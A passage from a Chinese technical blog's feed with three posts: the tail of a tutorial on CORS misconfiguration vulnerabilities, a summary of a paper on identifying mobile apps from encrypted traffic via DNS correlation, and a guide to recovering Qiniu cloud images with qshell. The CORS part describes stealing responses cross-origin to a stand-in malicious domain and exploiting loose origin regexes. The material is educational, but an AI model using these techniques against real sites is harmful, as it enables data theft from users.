phpinfo();?&gt;</code></pre><p>完成配置后，我们再次访问时，legal服务器会自动在响应包中添加<code>Access-Control-Allow-Credentials:true</code>，即允许带Cookie跨域，则浏览器就不会再拦截响应包。而且从legal服务器返回的内容将会被保存到malious.com/secret.html上了：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-11.png" alt="cors-6"></p><h3 id="无差别拦截"><a href="#无差别拦截" class="headerlink" title="无差别拦截"></a>无差别拦截</h3><p>在CORS跨域时，还有一种特殊情况，当服务器的配置为：</p><pre><code>&lt;?php    header(&quot;Access-Control-Allow-Origin:*&quot;);     header(&quot;Access-Control-Allow-Credentials:true&quot;);     phpinfo();?&gt;</code></pre><p>即允许任何网站带Cookie进行跨域时，浏览器会无差别进行拦截，这也算浏览器同源策略对用户最后的保护：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-12.png" alt="cors-10"></p><h2 id="漏洞"><a href="#漏洞" class="headerlink" title="漏洞"></a>漏洞</h2><p>其实关于CORS的漏洞，我们已经可以在上面窃取Cookie的实验中看出一些端倪，如果允许恶意网站进行跨域请求，那么将会造成严重的信息泄露。</p><p><strong>所以CORS漏洞的本质是服务器配置不当。</strong></p><p>然而，现实中的CORS漏洞并不会像实验中那么直白，一般来说，网站不可能配置允许未知网站跨域。一般出现CORS漏洞的场景是这样的：</p><p>管理员在配置时需要对一批网站进行跨域授权，但一个个添加是十分麻烦的，所以管理员直接写了一个正则匹配式子来代替这些域名。问题往往出现在这里，如果正则匹配式子不够严谨或有错误，那么就会造成CORS漏洞。</p><p>举一个例子，一个管理员想要配置domain.com及其子域名可跨域，所以他配置：</p><pre><code>&lt;?php    header(&quot;Access-Control-Allow-Origin:^.*domain.com$&quot;);     header(&quot;Access-Control-Allow-Credentials:true&quot;);     phpinfo();?&gt;</code></pre><p>这很明显是存在漏洞的正则匹配式，因为evildomain.com也满足了这个正则，所以攻击者可以去注册这个域名来发动攻击。</p><h3 id="漏洞挖掘"><a href="#漏洞挖掘" class="headerlink" title="漏洞挖掘"></a>漏洞挖掘</h3><p>关于CORS的漏洞挖掘目前两种思路，一个是白盒，这个主要是去定位相关的代码：</p><pre><code>header(&quot;Access-Control-Allow-Origin&quot;); header(&quot;Access-Control-Allow-Credentials&quot;); </code></pre><p>然后分析是否存在漏洞，这种方法比较直观和简单。</p><p>如何是黑盒的话，主要还是先找网站是否存在跨域的功能，如果存在，那跨域的是哪些域名，收集信息，寻找规律，尝试构造。除了经验还需要很大程度的运气，当然如果有好的字典也可以尝试去爆破。</p><h1 id="CSRF和CORS"><a href="#CSRF和CORS" class="headerlink" title="CSRF和CORS"></a>CSRF和CORS</h1><p>在学习CORS之前，我是已经熟练掌握CSRF攻击的。现在回来看，顿时产生了异或，CSRF也是一种执行跨域的攻击，但是似乎并没有遇到同源策略的问题？</p><p>查了一下资料，理清了一下思路就明白了：我们知道CSRF一般是使用form表单来提交请求的，而浏览器是不会对form表单进行同源阻拦的，因为其是无响应的请求。知乎中解答我也是较为认同的：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-13.png" alt="cors-12"></p><p>所以我们发起CSRF攻击时，比如给后台添加管理员，Post数据提交后，服务器会处理请求(给后台添加管理员)，但不会返回结果给你，而实际上后台已经完成了添加管理员操作。流程可以参考：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-14.png" alt="cors-13"></p><h1 id="XSS和CORS"><a href="#XSS和CORS" class="headerlink" title="XSS和CORS"></a>XSS和CORS</h1><p>值得一提的是，虽然同源策略禁止了跨域，但是DOM中的很多标签都可以绕过这个限制，比如<code>&lt;script&gt;</code>,<code>&lt;img&gt;</code>,<code>&lt;a&gt;</code>等等。</p><p><strong>只要包含了 “src” 或 “href” 属性的标签都可以完成跨域操作</strong>。</p><p>我们知道，XSS是利用<code>&lt;script&gt;</code>,<code>&lt;img&gt;</code>等标签执行注入的，实际上也是利用了这些标签完成了跨域传递敏感信息，其流程如下所示：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cors/cors-15.png" alt="cors-14"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>COSR漏洞其实是一个很早就出现的漏洞，只是国内比较少见，但国外其实曾经造成过很多恶劣影响，比如facebook信息泄露。如果我们在开发网站时遇到跨域的情况，一定要谨慎处理，不可留下CORS漏洞。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;过完年回来，我闲来无事逛了逛技术论坛，碰巧看到了对CORS漏洞的描述，顿时感兴趣起来。查了一些资料，也动手做了一些实践测试，解决了一些疑惑，这里整理成一篇博客供大家学习浏览。&lt;/p&gt;
    
    </summary>
    
    
      <category term="CORS" scheme="http://yoursite.com/tags/CORS/"/>
    
      <category term="漏洞" scheme="http://yoursite.com/tags/%E6%BC%8F%E6%B4%9E/"/>
    
  </entry>
  
  <entry>
    <title>基于流量关联的移动app端加密流量识别</title>
    <link href="http://yoursite.com/2018/12/18/xueshu-3/"/>
    <id>http://yoursite.com/2018/12/18/xueshu-3/</id>
    <published>2018-12-18T03:39:32.000Z</published>
    <updated>2018-12-25T06:45:37.615Z</updated>
    
    <content type="html"><![CDATA[<p>论文：Mobile app identification for encrypted network flows by traffic correlation<br>作者：Gaofeng He, Bingfeng Xu, Lu Zhang and Haiting Zhu<br>地区：China<br>时间：2018<br>来源：International Journal of Distributed Sensor Networks</p><a id="more"></a><hr><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><h2 id="手机App与IoT（物联网）"><a href="#手机App与IoT（物联网）" class="headerlink" title="手机App与IoT（物联网）"></a>手机App与IoT（物联网）</h2><ul><li>越来越多的IoT设备可以通过手机来控制</li><li>手机app已经成为IoT世界的核心</li></ul><h2 id="手机App的安全挑战"><a href="#手机App的安全挑战" class="headerlink" title="手机App的安全挑战"></a>手机App的安全挑战</h2><ul><li>移动设备产生的流量已经达到网络流量的49%</li><li>手机App产生的流量往往是有迷惑性却不加密的流量，用户隐私受到威胁</li><li>恶意App使流量显著增加，造成网络阻塞</li><li>由于手机暴露于诸多场所，因此App更容易受攻击</li></ul><h2 id="问题所在"><a href="#问题所在" class="headerlink" title="问题所在"></a>问题所在</h2><ul><li>通过网络流量来识别App很困难</li><li>App的数据传输使用HTTP/HTTPS，因此传统的基于IP或端口的识别方法不起作用</li><li>目前大多数研究都针对于HTTP的payload进行识别分类，而HTTPS加密payload，因此无法识别</li><li>AppScan是一种用机器学习来识别加密流量的工具，但是其模型训练和更新代价很大</li></ul><hr><h1 id="预先工作"><a href="#预先工作" class="headerlink" title="预先工作"></a>预先工作</h1><h2 id="App识别问题"><a href="#App识别问题" class="headerlink" title="App识别问题"></a>App识别问题</h2><p>定义所有在网络中可以观察到流量集合为F，所有在平台上运行的apps集合为A。</p><pre><code>F = {f1,f2,..,fn}A = {a1,a2,...ap}</code></pre><p>需要解决的问题在于找到映射关系：</p><pre><code>M[F,A] : fi -&gt; aj (1 ≤ i ≤ n, 1 ≤ j ≤ p)</code></pre><p>且上面的映射关系是一个 “many-to-one” 关系。</p><p>而针对于一个加密流量e<sub>f</sub>，问题就变成：</p><pre><code>E[ef,A]: ef -&gt; aj (1 ≤ i ≤ p)</code></pre><p>这是一种特殊的app识别场景，也是一种 “many-to-one” 关系。</p><h2 id="手机App构架"><a href="#手机App构架" class="headerlink" title="手机App构架"></a>手机App构架</h2><p>作者认为了解手机App的框架可以更好地理解手机App流量的特征，而在2017发布的统计数据显示，安卓用户达到了86%，因此作者只关注安卓手机的框架。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-1.png" alt="xueshu3-1"></p><p>上图是安卓手机通信之间的交互示例，App中显示信息的是“Activity”，点击按钮实际上是在不同Activity之间的切换。如果不杀死进程，那么App仍然会跑在后台，这样设计是为了让用户更快返回App。</p><h2 id="安卓Apps之间的网络通信"><a href="#安卓Apps之间的网络通信" class="headerlink" title="安卓Apps之间的网络通信"></a>安卓Apps之间的网络通信</h2><p>由于大部分安卓App使用HTTP/HTTPS去传输和接收数据。因此Apps之间的网络通信实际上和Web通信差不多：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-2.png" alt="xueshu3-2"></p><p>也就是App先去DNS查询目标主机的ip，然后建立TCP连接并通过HTTP(s)传输数据。如果已经查询过了目标主机的ip，那么就跳过DNS查询这一步直接建立连接。</p><hr><h1 id="移动端App流量观察"><a href="#移动端App流量观察" class="headerlink" title="移动端App流量观察"></a>移动端App流量观察</h1><p>作者在这一章节中提出了在对App流量长期观察中发现的三大现象，这3种现象将作为整个文章的思想和实验基础。作者提到是和中国最大的网络运营商合作，才拿到了大量的流量数据（3G和4G），数据总量达到了160GB。</p><h2 id="观察一"><a href="#观察一" class="headerlink" title="观察一"></a>观察一</h2><p><em>一组关于服务器主机的查询是可以用来区分不同App的。</em></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-3.png" alt="xueshu3-3"></p><p>上图左侧是百度地图（com.baidu.BaiduMap）查询的主机集，上图右侧是百度搜索（com.baidu.searchbox）查询的主机集，可以看出，虽然二级域名相同，而且是同一个企业名下的产品，他们查询的服务器主机组仍然是不完全相同的。那么这样一组主机名就可以作为识别App的特征。</p><h2 id="观察二"><a href="#观察二" class="headerlink" title="观察二"></a>观察二</h2><p><em>手机App会在短时间内发起多个DNS查询请求（同时查询多个服务器主机IP）。</em></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-4.png" alt="xueshu3-4"></p><p>上图是百度地图（com.baidu.BaiduMap）查询主机时发起DNS请求的时间戳，可以看到这组主机发起查询的时间间隔在1秒以内。因此作者假定一组并发的DNS查询来自于同一个应用，可以根据时间信息进行分组。</p><h2 id="观察三"><a href="#观察三" class="headerlink" title="观察三"></a>观察三</h2><p><em>同一手机App产生的加密流量与其他流量具有相似性。</em></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-5.png" alt="xueshu3-5"></p><p>在上图中，末尾的61.135.185.197是未知应用产生的流量，而其在时间上与199.75.22.71这一IP产生流量的时间节点十分相近，且在ip结构上与61.135.186.152这一IP相近，而以上两个ip的主机组都是百度地图（com.baidu.BaiduMap）的，因此61.135.185.197也是由百度地图产生的（实际上也确实是由百度地图产生的）。</p><p>作者就是基于这一发现来识别加密流量。</p><hr><h1 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h1><p>这一章节作者提出了“关联流量”的定义，并提出了DNS聚簇和相似流量检索两种核心技术。</p><h2 id="关联流量"><a href="#关联流量" class="headerlink" title="关联流量"></a>关联流量</h2><p>一个加密流可以与一组流量关联起来，这组流量就称为“关联流量”（比如DNS或HTTP）。“关联流量”是可以被快速识别属于哪个App的，所以一旦一个加密流的“关联流量”能够找到，那么加密流就能被识别。</p><h3 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h3><p>对于“关联流量”的定义如下：</p><p>1.对于需要DNS查询主机IP的流量，其关联流量定义为其DNS查询流量。<br>2.对于直接通过IP进行连接的流量，其关联流量定义为“相似共同流量(similar common traffic)”。</p><p>对于“相似共同流量”的定义如下：</p><p>1.共同流量，指对发起DNS查询前的数据流量<br>2.相似流量，指外部特征相似的数据流量（如IP，时间，包长等等，但不考虑数据包具体内容）</p><h3 id="思路与挑战"><a href="#思路与挑战" class="headerlink" title="思路与挑战"></a>思路与挑战</h3><p>作者的思路是找到加密流量的关联流量，虽然加密流量难以提取主机名，但是关联流量很容易，而且提取的主机名集可以用来识别App。</p><p>挑战在于两点：(1).后台流量容易混淆。(2).不同App可能会调用相同的服务并查询相同的主机名</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-6.png" alt="xueshu3-6"></p><h3 id="识别特征构造"><a href="#识别特征构造" class="headerlink" title="识别特征构造"></a>识别特征构造</h3><p>在上图中，在完成主机域名提取后，主机域名集会送往识别特征构造模块，实际上就是通过 “.” 来对域名进行分割，然后提取“域名词向量”作为特征，值得一提的是，二级域名和顶级域名不分离。在进行训练时，每个App都会将匹配的特征保存。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-7.png" alt="xueshu3-7"></p><h2 id="DNS聚簇"><a href="#DNS聚簇" class="headerlink" title="DNS聚簇"></a>DNS聚簇</h2><p>目的：使用DNS聚簇去发现加密流量的关联DNS查询，而主要问题在于克服后台流量的混淆。<br>具体算法如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-8.png" alt="xueshu3-8"></p><p>我们分析一下算法的输入和输出，输入有以下几个：<br>1.加密流发起的DNS查询q<sub>i</sub><br>2.DNS查询流量集合Q<br>3.以及三个阈值参数。<br>输出则是：关联的DNS查询集C</p><p>作者通过该算法进行DNS聚簇，找到关联DNS查询流量。</p><h2 id="相似流量检索"><a href="#相似流量检索" class="headerlink" title="相似流量检索"></a>相似流量检索</h2><p>通过在特征空间比较流向量来需找相似流，具体的特征如下，一共有12种。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-9.png" alt="xueshu3-9"></p><p>而两个流量之间的相似度是使用加权欧式距离来进行计算评估的。而在计算距离之前，会使用缩放技术将流向量特征值控制在[0,1]这个区间内，具体算法如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-10.png" alt="xueshu3-10"></p><p>在完成对流向量的特征值的重构后，再使用加权欧式距离来评估两个流的相似度：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-11.png" alt="xueshu3-11"></p><p>这个距离的值越小，则两个流量越相似。而在权重值方面，作者设置w<sub>1</sub>和w<sub>2</sub>的值为1/3, 其他的权重皆为1/30。这说明作者认为IP地址和流起始时间的重要性更高。然后距离最小的流会被选择作为加密流的关联流量。</p><h2 id="主机名匹配以及App识别"><a href="#主机名匹配以及App识别" class="headerlink" title="主机名匹配以及App识别"></a>主机名匹配以及App识别</h2><p>在获取主机名集后，需要根据主机名来匹配App。前面提到每个App已经建立了特征集，而作者使用TF-IDF算法来进行这一步的主机名匹配。TF-IDF是一种用于信息检索与数据挖掘的常用加权技术，一般用于文本分析。TF-IDF的思想在于，如果一个词在文档中出现的频率高，但是在其他文档中出现的次数少，那么该词就能够作为分类该文档的依据。具体可详见：<a href="https://zhuanlan.zhihu.com/p/31197209" target="_blank" rel="external">生动理解TF-IDF算法</a>。这里针对作者的思路进行简要说明：</p><p>一条域名记录可以被表示为：</p><pre><code>W = {w2,...,wk}</code></pre><p>由于看到w的下标是从2开始，这是因为二级域名和顶级域名没有分离。首先计算每个词的在I<sub>doc</sub>中的词频(I<sub>doc</sub>指App的特征文档)：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-13.png" alt="xueshu3-13"></p><p>然后计算逆文档频率，词料库是所有的App特征文档：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-14.png" alt="xueshu3-14"></p><p>通过词频和逆文档频率计算这个词的weight：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-15.png" alt="xueshu3-15"></p><p>最后将所有的词weight相加计算分值：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-16.png" alt="xueshu3-16"></p><p>接下来将每个App的特征文档分值计算出来，取最高的App计数加一，然后换下一个域名记录进行计算，当主机名集中所有的主机名都被计算后，取App计数最大的作为识别的App。具体算法如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-12.png" alt="xueshu3-17"></p><p>从上面的算法可以看到输入是一组主机名（关联流量中提取的），而输出则是识别的App。</p><hr><h1 id="实验"><a href="#实验" class="headerlink" title="实验"></a>实验</h1><h2 id="数据收集"><a href="#数据收集" class="headerlink" title="数据收集"></a>数据收集</h2><h3 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h3><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-17.png" alt="xeushu3-18"></p><p>操作系统：Ubuntu 16.04<br>流量收集工具：tcpdump<br>数据分析环境：4GB内存和处理器 Intel Pentium Dual-Core T4500 CPU<br>训练阶段：使用安卓模拟设备，并使用UI-fuzzing工具来模拟点击操作生成流量。由于这一步是为了得到App的识别特征，因此只有DNS流量会被抓取。<br>测试阶段：使用HUAWEI Mate 8</p><h3 id="运行"><a href="#运行" class="headerlink" title="运行"></a>运行</h3><p>App下载器：Evozi App Downloader<br>App下载源：Google Play，Wandoujia（下载url结构简单，方便用python程序爬取）<br>App安装：adb install<br>点击模拟：UI-fuzzing from Monkey，通过随机点击生产大量流量数据<br>数据输出：使用tcpdump捕捉数据并保存成.pcap文件，每个文件的大小约为100MB<br>TCP和UPD流的剥离：SplitCap<br>DNS流量分析以及主机名提取：Dshell<br>主机名匹配：Soar和Packet Capture</p><h3 id="流量产生"><a href="#流量产生" class="headerlink" title="流量产生"></a>流量产生</h3><p>需要找到生成加密流量的应用，而这一步是手工检测的。作者下载了100款Google Player的应用以及900个Wandoujia上的应用，他们安装并运行应用，然后观察是否产生的加密流量。每个App只在启动的时间段内是否生成了至少1条加密流量，最终作者选择了100个App作为测试集。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-18.png" alt="xueshu3-19"></p><p>对于识别测试，每个App会一个接一个安装在手机上，然后随机运行3分钟，抓取到足够的流量后，杀死后台程序。这样的流程一共执行了5次。最后一共2305条加密流量被抓取，整个测试集的数据量如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-19.png" alt="xueshu3-20"></p><h2 id="实验结果"><a href="#实验结果" class="headerlink" title="实验结果"></a>实验结果</h2><h3 id="评估方法"><a href="#评估方法" class="headerlink" title="评估方法"></a>评估方法</h3><p>实验中使用三个指标来评估实验结果，分别是<em>Accuracy</em>, <em>TPR</em>, <em>FP</em>。这三个指标的计算方法如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-20.png" alt="xueshu3-21"></p><p>其中，函数Nfun(pare)指的是参数pare中流的数量。比如，Nfun(identified_all)指的是所有成功识别的流量数量，Nfun(encrypted_all)指的是所有加密流量的数量。而TPR和FP指标是针对某个APP的。</p><h3 id="使用主机名识别App的效率"><a href="#使用主机名识别App的效率" class="headerlink" title="使用主机名识别App的效率"></a>使用主机名识别App的效率</h3><p>这是实验只要是作者为了证明自己所选取特征的好坏。前面提到，作者是将一组主机名作为识别App的特征，而每个App都有属于自己的特征集，那么如果App的特征集很相近，那么识别率就不高，因此作者决定先评估特征集之间的距离。评估距离的公式如下:</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-21.png" alt="xueshu3-22"></p><p>作者为100个App都做了测试，然后举了下面4组比较作为例子：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-22.png" alt="xueshu3-23"></p><p>值越小，特征距离越近，可以看到BaiduMap与自己的距离是0，和seachbox之间的距离是0.343（比较接近），而与zhihu以及netease之间的距离基本上到了1（很远）。</p><p>接下来作者测试了在不同时间和版本下App特征的稳定性：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-23.png" alt="xueshu3-24"></p><p>实验表明，在不同时间下和版本下相同App的特征集距离很小，即很相近，基本上不会变化。</p><h3 id="评估DNS聚簇效果"><a href="#评估DNS聚簇效果" class="headerlink" title="评估DNS聚簇效果"></a>评估DNS聚簇效果</h3><p>在作者选择的2305个加密流中，有1873条加密流需要DNS查询，有432条流是直接通过IP进行连接的。在DNS聚簇的算法中，有3个阈值参数，首先作者设置DNS查询间隔的阈值为1s，app时间间隔为7s（一个app完全关闭到另一个app开启的间隔），然后对词汇相似度进行调整（0.1-0.7）进行实验，实验结果如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-24.png" alt="xueshu3-25"> </p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-25.png" alt="xueshu3-26"></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-26.png" alt="xueshu3-27"></p><p>可以看到，词汇相似度的阈值设置为0.4时，无论是<em>Accuracy</em>还是<em>TPR</em>都达到了巅峰，且精确度已经达到了95%。在图10可以看出，由于BaiduMap和searchbox的特征集距离小，所以他们可分类度低，故FTR值较低，而zhihu和netease的FTP值就很高。FP值也能很直观地表现出来（有一点问题）。</p><h3 id="评估相似流量检索效果"><a href="#评估相似流量检索效果" class="headerlink" title="评估相似流量检索效果"></a>评估相似流量检索效果</h3><p>作者在这一块主要研究在进行相似流量检索时，关联流量数量与识别精确度的关系。作者针对不同关联流量数量分了组进行了实验，实验结果如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-27.png" alt="xueshu3-28"></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-28.png" alt="xueshu3-29"></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-29.png" alt="xueshu3-30"></p><p>从上面的结果可以看出，在关联流量数量为7时，实验效果最好，精确度达到81%。而TPR和FP都呈现出了和DNS聚簇时相同的规律。</p><h2 id="优化"><a href="#优化" class="headerlink" title="优化"></a>优化</h2><h3 id="增强训练过程"><a href="#增强训练过程" class="headerlink" title="增强训练过程"></a>增强训练过程</h3><p>作者提出的第一步优化思路是提取更多的主机名集作为app的特征。作者使用的方式是直接反编译apk文件（dex2jar），去搜索java源码中的主机域名（以https和http进行匹配）。作者提出有些主机域名是不完整的，比如 <code>http://+str.substring(&quot;*.&quot;.length()).m3587f()</code>，因此动态地运行app抓取主机域名还是有必要的。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-30.png" alt="xueshu3-31"></p><p>可以从上图看出，虽然训练时间变长了，但是提取的主机域名变多，而这样的代价是否值得还有待商榷。</p><h3 id="优化相似流量检索方法"><a href="#优化相似流量检索方法" class="headerlink" title="优化相似流量检索方法"></a>优化相似流量检索方法</h3><p>作者提出的第二个思路是在对App进行识别时，在原主机名匹配技术的基础上加上key-value匹配技术。实验中的key-value大致如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-31.png" alt="xueshu-32"></p><p>因此在算法2中进行了修改，如果是HTTP流量，则需要检测key-value，如果匹配的话，计数+1：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-32.png" alt="xueshu-33"></p><p>在算法修改后的实验结果如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-33.png" alt="xueshu-34"></p><p>比起之前的实验，准确度已经从81%上升到了93%。</p><h2 id="比较与限制"><a href="#比较与限制" class="headerlink" title="比较与限制"></a>比较与限制</h2><p>最后就是常规的吹牛批环节，作者将自己的实验与AppScan进行比较，说明自己提出的方法很牛批，不但检测时间快，资源消耗少，而且精确度也差不多（作者提到自己的实验中准确率最高时能达到95%-96%，而Appscan只能达到94.7%）。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xueshu3/xueshu3-34.png" alt="xueszhu3-34"></p><p>然后作者提出自己方法中的三个缺点：<br>1.无法实时检测，需要一段时间<br>2.后台app定时产生的一些加密流量无法识别，因为找不到关联流量<br>3.没法识别新增的流量</p><hr><p>WhiteRabbit评论：</p><p>这篇文章无论是结构还是思路都十分清晰，在实验部分的设计也不错，层层递进。这里还是提出一点不足和思考。</p><p>文章作者：WhiteRabbit<br>来源：blog.whiterabbitxyj.com<br>转载请标注原文和作者。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;论文：Mobile app identification for encrypted network flows by traffic correlation&lt;br&gt;作者：Gaofeng He, Bingfeng Xu, Lu Zhang and Haiting Zhu&lt;br&gt;地区：China&lt;br&gt;时间：2018&lt;br&gt;来源：International Journal of Distributed Sensor Networks&lt;/p&gt;
    
    </summary>
    
    
      <category term="学术" scheme="http://yoursite.com/tags/%E5%AD%A6%E6%9C%AF/"/>
    
      <category term="论文" scheme="http://yoursite.com/tags/%E8%AE%BA%E6%96%87/"/>
    
  </entry>
  
  <entry>
    <title>七牛云临时域名过期后图片找回</title>
    <link href="http://yoursite.com/2018/12/13/qiniu/"/>
    <id>http://yoursite.com/2018/12/13/qiniu/</id>
    <published>2018-12-13T03:39:32.000Z</published>
    <updated>2018-12-13T14:01:11.011Z</updated>
    
    <content type="html"><![CDATA[<p>算算时间有一段时间没有更新博客了，一来是年底了事比较多，另一方面主要是我的博客出现了一点问题：博客上的图片无法显示了。后来排查了一下原因，发现原来是七牛网的临时域名过期了！这篇博文写给遇到同样问题的朋友们，提供一下找回图片的方法。</p><a id="more"></a><h1 id="七牛网临时域名"><a href="#七牛网临时域名" class="headerlink" title="七牛网临时域名"></a>七牛网临时域名</h1><p>七牛网是我一位师姐在我刚开始做博客时推荐给我的，当时觉得挺方便就使用了，一直用了大半年都没有问题。直到七牛网分配给我的域名过期了，图片无法上传到七牛网后，我才知道这原来是个临时域名。虽然过期了，但之前上传的图片还是可以显示了，所以我一直也没有处理。直到最近，临时域名直接被回收了，我之前上传的图片也访问不了了，我才意识到不处理不行了。</p><p>我进入控制台的存储界面，直接给我报错：</p><pre><code>[5402] 获取 bucket 域名失败</code></pre><p>这是因为临时域名被回收，所以存储的图片找不到路径，所以报错了。我在控制台前前后后找了半天没有找到任何下载我之前上传图片的功能，由于域名被回收，我也无法直接去访问下载。</p><p>一种解决方法是去绑定域名，但是绑定的域名需要备案，麻烦无比，所以我查了七牛网官方的API后，终于找回了我之前上传的图片。</p><h1 id="图片找回"><a href="#图片找回" class="headerlink" title="图片找回"></a>图片找回</h1><h2 id="qshell"><a href="#qshell" class="headerlink" title="qshell"></a>qshell</h2><p>qshell是利用七牛文档上公开的API实现的一个方便开发者测试和使用七牛API服务的命令行工具。该工具设计和开发的主要目的就是帮助开发者快速解决问题。我们需要了解的是，我们之前上传的图片并没有丢失，它们一直存在bucket空间中，只是我们无法直接访问。而qshell这个工具能让我们直接访问bucket空间，从而获取我们之前上传的图片。这里贴一下工具的下载链接：<a href="http://devtools.qiniu.com/qshell-v2.3.4.zip" target="_blank" rel="external">qshell</a>。</p><h2 id="使用流程"><a href="#使用流程" class="headerlink" title="使用流程"></a>使用流程</h2><p>(1). 首先，在工具上绑定用户，输入命令行：</p><pre><code>qshell account ak sk name</code></pre><p>其中，ak和sk是你个人的AccessKey和SecretKey，在你的个人中心中可以查看，而name可以随便写，只是做标记：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/qiniu/qiniu-1.png" alt="qiniu-1"></p><p>(2). 然后，导出你的图片列表：</p><pre><code>qshell listbucket 原bucket名 -o list.txt</code></pre><p>原bucket名是指你原来存储图片空间的名字，可以在存储空间中查看：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/qiniu/qiniu-2.png" alt="qiniu-2"></p><p>(3). 使用Awk获取list结果的第一列：</p><pre><code>cat list.txt | awk &apos;{print $1}&apos; &gt;list_final.txt //如果windiws无法执行这条命令，安装一个cmder就可以执行了，或直接编辑txt</code></pre><p>并在七牛网中新建一个空间做准备：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/qiniu/qiniu-3.png" alt="qiniu-3"></p><p>(4). 然后，将原空间中图片做一个迁移：</p><pre><code>qshell batchcopy 原bucket名 新bucket名 -i list_final.txt</code></pre><p>这样原来空间的图片都迁移到新空间了，由于新空间有临时域名，所以图片可以被访问了。</p><p>(5). 直接用qshell工具下载所有图片到本地。</p><pre><code>qshell qdownload newfilelist.txt</code></pre><p>newfilelist.txt中是配置文件，可以参考一下我的配置信息进行修改：</p><pre><code>{    &quot;dest_dir&quot;   :   &quot;D:/xxx/xxx/xxx/blogPicture/&quot;,    &quot;bucket&quot;     :   &quot;blog&quot;,    &quot;cdn_domain&quot; :   &quot;pjo4oyz5p.bkt.clouddn.com&quot;,    &quot;referer&quot;    :   &quot;http://www.example.com&quot;}</code></pre><h1 id="小彩蛋：配置不可访问列目录"><a href="#小彩蛋：配置不可访问列目录" class="headerlink" title="小彩蛋：配置不可访问列目录"></a>小彩蛋：配置不可访问列目录</h1><p>按照上面的方法，你的图片就可以全部找回了。但是思来想去，我还是得找一个地方去存储我的图片，于是乎咬了咬牙买了一台云服务器。</p><p>在配置云服务器时出了一点问题，我想要配置不可访问列目录，然而我找不到httpd.conf。在网上查了一下，原来云服务器的操作系统是ubuntu，而部署的web服务器是apache，所以没有httpd.conf，只有apache2.conf。</p><pre><code>find / -name apache2.conf //查找apache2.conf位置</code></pre><p>在其中添加配置：</p><pre><code>&lt;Directory &quot;/var/www/html/&quot;&gt;    Options  FollowSymLinks    AllowOverride None    Order allow,deny    Allow from all&lt;/Directory&gt;</code></pre><p>保存后重启apache服务器：</p><pre><code>/etc/init.d/apache2 restart</code></pre><p>然后就配置完成啦：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/qiniu/qiniu-4.png" alt="qiniu-4"></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;算算时间有一段时间没有更新博客了，一来是年底了事比较多，另一方面主要是我的博客出现了一点问题：博客上的图片无法显示了。后来排查了一下原因，发现原来是七牛网的临时域名过期了！这篇博文写给遇到同样问题的朋友们，提供一下找回图片的方法。&lt;/p&gt;
    
    </summary>
    
    
      <category term="域名" scheme="http://yoursite.com/tags/%E5%9F%9F%E5%90%8D/"/>
    
      <category term="云服务" scheme="http://yoursite.com/tags/%E4%BA%91%E6%9C%8D%E5%8A%A1/"/>
    
  </entry>
  
  <entry>
